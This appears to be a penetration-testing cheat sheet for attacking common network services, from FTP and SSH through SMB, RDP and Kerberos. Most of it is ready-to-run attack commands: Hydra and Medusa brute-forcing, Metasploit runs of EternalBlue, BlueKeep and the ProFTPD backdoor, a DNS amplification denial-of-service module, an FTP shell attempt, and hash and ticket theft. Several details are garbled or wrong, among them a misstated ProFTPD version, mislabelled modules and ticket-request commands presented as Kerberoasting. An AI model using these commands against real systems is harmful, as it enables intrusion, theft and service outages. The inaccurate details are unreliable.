Comprehensive Exploitation of Network Services (FTP, SSH, DNS, HTTP/HTTPS, RPC, LDAP, SMB, MySQL, RDP, MSSQL, Kerberos, etc.)

This document covers various network services such as FTP, SSH, DNS, HTTP/HTTPS, RPC, LDAP, SMB, MySQL, RDP, MSSQL, Kerberos, and other advanced techniques like user enumeration and Kerberoasting. Each section explains the common vulnerabilities associated with each service and provides detailed scripts and tool usage to exploit those vulnerabilities.

---

1. FTP (Port 21)

FTP (File Transfer Protocol) is widely used for transferring files, but is known for sending data (including passwords) in plaintext.

Common Vulnerabilities:

- **Anonymous FTP Access**: Some FTP servers allow anonymous login, potentially exposing sensitive files.
- **Weak/Default Credentials**: FTP servers may be vulnerable to brute-force attacks with weak or default credentials.
- **Unpatched FTP Vulnerabilities**: Exploitable flaws in FTP software versions.
- **Command Injection**: Attackers may inject commands into FTP commands if the server is improperly configured.

Exploitation with Tools:

1. **Hydra for FTP Brute Force**: To perform a brute-force attack against FTP using Hydra, you can use the following command:
2. hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://target-ip

Here, -l user sets the username and -P /path/to/wordlist.txt sets the password wordlist.

3. **Metasploit Exploits for FTP**: The Metasploit framework has numerous exploits for FTP. For example, ProFTPD versions that are vulnerable to backdoors can be exploited:
4. msfconsole
5. use exploit/unix/ftp/proftpd_1337_backdoor

6. set RHOST target-ip
7. run

This exploit targets a known backdoor vulnerability in ProFTPD 1.3.4c.

8. **Anonymous FTP Scan with Nmap**: To check if an FTP server allows anonymous access, use Nmap with the ftp-anon script:
9. nmap -p 21 --script ftp-anon target-ip
10. **Using Netcat for FTP Command Injection**: If an FTP service is vulnerable to command injection, you can use Netcat to exploit it:
11. nc target-ip 21
12. USER anonymous
13. PASS password
14. SITE EXEC /bin/bash

This can give the attacker shell access if the FTP server is improperly configured.

---

2. SSH (Port 22)

SSH (Secure Shell) is used for secure remote access to servers. While it encrypts traffic, weak authentication mechanisms (passwords or keys) are a major vulnerability.

Common Vulnerabilities:

- **Brute Force Attacks**: Weak passwords or default credentials are prime targets for brute force attacks.
- **Weak SSH Keys**: Exploitation of weak or stolen SSH keys can allow attackers to gain unauthorized access.
- **Misconfigurations**: Disabling key-based authentication or allowing root login can make the system more vulnerable.

Exploitation with Tools:

1. **Hydra for SSH Brute Force**:
2. hydra -l root -P /path/to/wordlist.txt ssh://target-ip

This attempts to brute-force SSH login using the username root and a password wordlist.

3. **Medusa for Parallel Brute Force**:
4. medusa -h target-ip -u root -P /path/to/wordlist.txt -M ssh

Medusa is another tool that allows parallel brute-force attacks.

5. **Metasploit for SSH Exploitation**: If there's a specific exploit for SSH, you can use Metasploit to run the attack:
6. msfconsole
7. use exploit/multi/ssh/sshexec
8. set RHOST target-ip
9. set RUSER root
10. set PASS password
11. run
12. **SSH Key Exploitation with SSH2john**: If you have an SSH key and want to crack it, use ssh2john to extract the hash and then run John the Ripper:
13. ssh2john id_rsa > id_rsa_hash
14. john id_rsa_hash --wordlist=/path/to/wordlist.txt

---

3. DNS (Port 53)

DNS (Domain Name System) translates domain names into IP addresses. Exploiting DNS can lead to information disclosure or amplification attacks.

Common Vulnerabilities:

- **DNS Amplification**: An attacker can perform a DDoS attack by exploiting DNS servers that allow recursive queries from any host.
- **DNS Cache Poisoning**: DNS servers can be tricked into resolving incorrect addresses, redirecting users to malicious sites.
- **DNS Zone Transfer**: If improperly configured, an attacker can retrieve the entire DNS zone file, revealing internal network structure.

Exploitation with Tools:

1. **Nmap for DNS Zone Transfer**: To attempt a zone transfer on a DNS server, use Nmap's dns-zone-transfer script:
2. nmap -p 53 --script dns-zone-transfer target-ip
3. **DNSRecon for Zone Transfer**: DNSRecon is a powerful tool for DNS enumeration. You can perform a zone transfer attempt like this:

4. dnsrecon -d target-domain -t axfr
5. **DNS Amplification Attack with Metasploit**: Metasploit can be used to perform DNS amplification attacks:
6. msfconsole
7. use auxiliary/dos/dns/dns_amp
8. set RHOST target-dns-server
9. run

---

4. HTTP/HTTPS (Ports 80 and 443)

Web services running on HTTP/HTTPS are the most common targets for attacks. HTTPS is more secure, but it's still vulnerable to various attacks, such as SQL injection or XSS.

Common Vulnerabilities:

- **SQL Injection**: Allows attackers to manipulate SQL queries and execute arbitrary commands.
- **Cross-Site Scripting (XSS)**: Attackers inject malicious scripts into webpages.
- **Directory Traversal**: Exploit misconfigurations to gain access to files outside the web root.
- **SSL/TLS Weaknesses**: Outdated or improperly configured SSL/TLS can lead to man-in-the-middle attacks.

Exploitation with Tools:

1. **Nikto Web Scanner**: Nikto is a powerful web vulnerability scanner. To scan a web server:
2. nikto -h http://target-ip
3. **SQLmap (SQL Injection Exploitation)**: SQLmap automates the detection and exploitation of SQL injection vulnerabilities. To use SQLmap:
4. sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5
5. **Burp Suite (Web Application Proxy)**: Burp Suite is used for intercepting HTTP(S) traffic, allowing you to modify requests, capture responses, and test for vulnerabilities like XSS, CSRF, and SQLi. It's widely used for penetration testing web applications.

6. **Wfuzz (Fuzzing)**: Wfuzz is used for fuzzing parameters in URLs or web applications to discover hidden resources or flaws.
7. wfuzz -c -w /usr/share/wordlists/dirb/common.txt -u "http://target-ip/FUZZ"

---

5. RPC (Port 111)

RPC (Remote Procedure Call) is a protocol for allowing remote programs to execute commands on a server. It is often used by services like NFS and SMB.

Common Vulnerabilities:

- **Exploiting RPC Services**: RPC services that are exposed without proper authentication can lead to arbitrary code execution or privilege escalation.

Exploitation with Tools:

1. **RPC Enumeration with Nmap**: Use Nmap to enumerate RPC services:
2. nmap -p 111 --script rpcinfo target-ip
3. **rpcclient (SMB/NetAPI Exploitation)**: rpcclient can be used to interact with SMB services and enumerate shares, users, and more:
4. rpcclient -U username target-ip

---

6. SMB (Port 445)

SMB (Server Message Block) is used for sharing files and printers over a network. SMB has been widely exploited, particularly due to vulnerabilities like EternalBlue.

Common Vulnerabilities:

- **EternalBlue (CVE-2017-0144)**: A critical vulnerability in SMBv1 that allows remote code execution.
- **Brute Force Attacks**: SMB services are vulnerable to brute-force attacks if weak passwords are used.

Exploitation with Tools:

1. **Hydra for SMB Brute Force**:
2. hydra -l admin -P /usr/share/wordlists/rockyou.txt smb

://target-ip

2. **Metasploit for EternalBlue**:

To exploit the EternalBlue vulnerability using Metasploit:

```bash

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set RHOST target-ip

run

3. **Nmap SMB Vulnerability Scan**: Nmap can be used to check for SMB vulnerabilities:
4. nmap -p 445 --script smb-vuln-ms17-010 target-ip

---

**7. MySQL (Port 3306)**

MySQL is a widely-used database server that often runs on port 3306. It is commonly attacked through weak passwords or SQL injection.

**Common Vulnerabilities:**

- **Weak Credentials**: Attackers may brute-force weak MySQL credentials.
- **SQL Injection**: Web applications that interact with MySQL databases may be vulnerable to SQLi.

**Exploitation with Tools:**

1. **Hydra for MySQL Brute Force**:
2. hydra -l root -P /path/to/wordlist.txt mysql://target-ip
3. **Metasploit for MySQL Exploitation**:
4. msfconsole
5. use exploit/linux/mysql/mysql_hashdump
6. set RHOST target-ip
7. run

---

**8. RDP (Port 3389)**

**RDP (Remote Desktop Protocol)** is commonly used in Windows environments to provide remote desktop access.
```

Common Vulnerabilities:

- **Brute Force Attacks**: Weak credentials can be exploited to access RDP services.
- **BlueKeep (CVE-2019-0708)**: A vulnerability in older versions of RDP that allows remote code execution.

Exploitation with Tools:

1. **Ncrack for RDP Brute Force**:
2. ncrack -p 3389 -u user -P /path/to/wordlist.txt target-ip
3. **Metasploit for BlueKeep Exploit**:
4. msfconsole
5. use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
6. set RHOST target-ip
7. run

---

9. MSSQL (Port 1433)

MSSQL is a Microsoft SQL Server database service that often runs on port 1433. Weak credentials or SQL injection can be leveraged to exploit MSSQL instances.

Common Vulnerabilities:

- **Brute Force Attacks**: Weak passwords can be used to brute-force MSSQL instances.
- **SQL Injection**: Web applications that communicate with MSSQL databases may be vulnerable to SQL injection.

Exploitation with Tools:

1. **Hydra for MSSQL Brute Force**:
2. hydra -l sa -P /path/to/wordlist.txt mssql://target-ip
3. **Metasploit for MSSQL Hash Dump**:
4. msfconsole
5. use exploit/windows/mssql/mssql_payload
6. set RHOST target-ip
7. run

---

10. Kerberos and Attacks (Kerberoasting, TGT)

Kerberos is a widely used network authentication protocol in Windows environments, especially with Active Directory.

Common Vulnerabilities:

- **Kerberoasting**: Attacker requests service tickets for service accounts and cracks them offline.
- **TGT Theft**: Attackers can steal Ticket Granting Tickets (TGTs) and impersonate users.

Exploitation with Tools:

1. **Impacket for Kerberoasting**:
2. impacket-GetTGT -user administrator -domain target.local -sid <SID>
3. **Rubeus for Kerberoasting**:
4. Rubeus.exe asktgt /user:<username> /rc4:<hash>

This comprehensive guide provides a detailed breakdown of exploiting various network services. Each section contains a variety of tools and scripts for penetration testing and exploitation. Follow these guidelines responsibly, and always get explicit permission before testing any systems or networks.